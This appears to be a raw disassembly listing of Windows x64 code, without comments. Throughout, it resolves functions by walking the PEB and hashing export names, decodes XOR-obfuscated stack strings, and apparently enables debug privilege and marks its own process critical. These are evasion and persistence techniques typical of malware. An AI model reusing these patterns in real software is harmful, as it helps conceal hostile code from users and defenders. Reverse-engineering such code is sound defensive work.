test bl, 0x10
je 0x140377fbd
and ebx, 0xffffffef
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140377fad
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140377fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140379996
call fcn.140419458
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov byte [rbp + 0x760], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140378056
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378056
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x91abc689
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378051
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378030
cmp r8d, 0xb973b69d
je 0x14037805b
test r9d, r9d
jne 0x140378010
mov rax, qword [rax]
jmp 0x140377fe0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x760]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x38], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140378116
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378116
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x90abc4f6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378111
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403780f0
cmp r8d, 0x7185c037
je 0x14037811b
test r9d, r9d
jne 0x1403780d0
mov rax, qword [rax]
jmp 0x1403780a0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x38]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1403781d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403781d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9babd647
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403781d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1403781b0
cmp r8d, 0xfb2ed6e1
je 0x1403781db
test r9d, r9d
jne 0x140378190
mov rax, qword [rax]
jmp 0x140378160
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b0], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1403782bb
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403782b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14037999c
call fcn.140419458
mov qword [rbp - 8], r15
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
cmp byte [rsi + 0x10], 0x75
jne 0x1403782db
cmp byte [rsi + 0x11], 3
je 0x140378a2b
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x210], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x218], rax
movabs rax, 0x37561c353675b660
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x220], rax
movabs rax, 0x76b69d3c17c6ed5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x228], rax
movabs rax, 0x5144da9ff5e4c88c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x230], rax
movabs rax, 0x82f6452a6173fdde
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x238], rax
movabs rax, 0x6f366752f465de03
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x240], rax
movabs rax, 0xeae467dafc22d51f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x248], rax
movabs rax, 0xb4d2ccfe8694583d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x250], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x258], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x570], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x578], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x580], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x588], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x590], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x598], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5a0], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5b0], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5b8], rax
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
pxor xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [rbp + 0x240]
pxor xmm1, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x250], xmm0
mov r9d, gethostname
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x28]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3d0], 0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
mov ebx, dword [rsp + 0x28]
or ebx, 0x40
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae r8, qword [rbp + 0x28]
mov r9, qword [rbp + 0x38]
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or ebx, 0x80000000
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0x310]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x328]
cmp rdx, 0x10
jb 0x140378654
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037864f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799a2
call fcn.140419458
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x310], 0
test bl, bl
jns 0x1403786cc
btr ebx, 7
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 0x10
jb 0x1403786ba
inc rdx
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1403786b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799a8
call fcn.140419458
mov qword [rbp + 0x6b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6a0], 0
test bl, 0x40
je 0x140378723
and ebx, 0xffffffbf
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140378713
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14037870e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799ae
call fcn.140419458
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
mov byte [rbp + 0x768], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1403787b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1403787b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x9aabd4b4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1403787b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378790
cmp r8d, 0x53f84e70
je 0x1403787bb
test r9d, r9d
jne 0x140378770
mov rax, qword [rax]
jmp 0x140378740
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 0x768]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x3c], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140378876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x899a70d0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378871
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378850
cmp r8d, 0x79251691
je 0x14037887b
test r9d, r9d
jne 0x140378830
mov rax, qword [rax]
jmp 0x140378800
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x3c]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140378936
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378936
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8a9a7263
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378931
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378910
cmp r8d, 0x77a7c7d
je 0x14037893b
test r9d, r9d
jne 0x1403788f0
mov rax, qword [rax]
jmp 0x1403788c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3d0], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140378a1b
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140378a16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799b4
call fcn.140419458
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x28], 0
cmp byte [rsi + 0x12], 0xf
jne 0x140378a3b
cmp byte [rsi + 0x13], 5
je 0x140379191
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x260], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x268], rax
movabs rax, 0x37561c353675b660
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x270], rax
movabs rax, 0x76b69d3c17c6ed5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x278], rax
movabs rax, 0x5144da9ff5e4c88c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x280], rax
movabs rax, 0x82f6452a6173fdde
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x288], rax
movabs rax, 0x6f366752f465de03
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x290], rax
movabs rax, 0xeae467dafc22d51f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x298], rax
movabs rax, 0xb4d2ccfe8694583d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2a0], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x8bc1c19ad94e0866
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x423740455901dd13
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x2ac5ed4c76e68528
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x3964f7bf9d90bded
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xe3992976120389aa
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x33551521a817bb67
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x93900ea88941b06c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x5f8], rax
movabs rax, 0xc0bbbe8be5f12b61
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x600], rax
movabs rax, 0x12763df23d7b85ae
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm1, xmmword [rbp + 0x270]
pxor xmm1, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x270], xmm1
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [rbp + 0x290]
pxor xmm1, xmmword [rbp + 0x5f0]
movdqa xmmword [rbp + 0x290], xmm1
movdqa xmm0, xmmword [rbp + 0x2a0]
pxor xmm0, xmmword [rbp + 0x600]
movdqa xmmword [rbp + 0x2a0], xmm0
mov r9d, gethostname
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x68]
call fcn.140398980
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r15
mov qword [rbp + 0x408], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3f0], 0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
mov ebx, dword [rsp + 0x28]
bts ebx, 8
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae r8, qword [rbp + 0x68]
mov r9, qword [rbp + 0x78]
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14035ab50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x340], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x330]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x348]
cmp rdx, 0x10
jb 0x140378dae
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140378da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799ba
call fcn.140419458
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x330], 0
bt ebx, 9
jae 0x140378e28
btr ebx, 9
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x6d8]
cmp rdx, 0x10
jb 0x140378e16
inc rdx
mov rcx, qword [rbp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140378e11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799c0
call fcn.140419458
mov qword [rbp + 0x6d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6c0], 0
bt ebx, 8
jae 0x140378e81
btr ebx, 8
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x140378e71
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140378e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799c6
call fcn.140419458
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
mov byte [rsp + 0x2c], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140378f16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378f16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8b9a73f6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378f11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378ef0
cmp r8d, 0x52e40a4a
je 0x140378f1b
test r9d, r9d
jne 0x140378ed0
mov rax, qword [rax]
jmp 0x140378ea0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rsp + 0x2c]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call r10
mov dword [rsp + 0x40], 1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140378fd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140378fd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x8c9a7589
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140378fd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140378fb0
cmp r8d, 0xfae5694e
je 0x140378fdb
test r9d, r9d
jne 0x140378f90
mov rax, qword [rax]
jmp 0x140378f60
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 4
lea r8, [rsp + 0x40]
lea edx, [r9 + 0x19]
mov rcx, 0xffffffffffffffff
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140379096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140379096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8d9a771c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140379091
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140379070
cmp r8d, 0x976fc97e
je 0x14037909b
test r9d, r9d
jne 0x140379050
mov rax, qword [rax]
jmp 0x140379020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov qword [rbp + 0x400], r15
mov qword [rbp + 0x408], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3f0], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14037917e
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140379179
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403799cc
call fcn.140419458
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x68], 0
cmp byte [rsi + 0x14], 0xc3
je 0x140379926
mov rcx, qword [0x14049bfa8]
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movabs rax, 0x37561c353675b660
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xe0], rax
movabs rax, 0x76b69d3c17c6ed5c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xe8], rax
movabs rax, 0x5144da9ff5e4c88c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xf0], rax
movabs rax, 0x82f6452a6173fdde
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xf8], rax
movabs rax, 0x6f366752f465de03
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x100], rax
movabs rax, 0xeae467dafc22d51f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x108], rax
movabs rax, 0xb4d2ccfe8694583d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x110], rax
movabs rax, 0x12763d824d18abd7
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x118], rax
movabs rax, 0xded99d93da746619
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
